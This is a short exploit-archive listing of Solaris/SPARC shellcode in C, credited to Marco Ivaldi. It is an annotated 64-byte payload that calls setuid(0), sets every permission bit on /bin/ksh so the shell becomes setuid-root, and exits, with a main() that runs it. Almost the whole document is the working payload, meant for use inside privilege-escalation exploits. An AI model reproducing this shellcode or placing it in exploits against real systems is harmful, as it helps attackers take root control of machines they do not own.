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Solaris/SPARC - setuid(0) + chmod (/bin/ksh) + exit(0) Shellcode
/*
* sparc_solaris_chmod.c - Solaris/SPARC chmod() shellcode
* Copyright (c) 2022 Marco Ivaldi <[email protected]>
*
* Solaris/SPARC setuid/chmod/exit shellcode.
*
* Tested on:
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
*/
char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* chmod("/bin/ksh", 037777777777) */
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
"\x20\xbf\xff\xff" /* bn,a <sc + 12> */
"\x20\xbf\xff\xff" /* bn,a <sc + 16> */
"\x7f\xff\xff\xff" /* call <sc + 20> */
"\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* exit(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x01" /* mov 1, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
void main()
{
void (*f)() = (void *)sc;
f();
}
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18 Feb 2022 00:00Current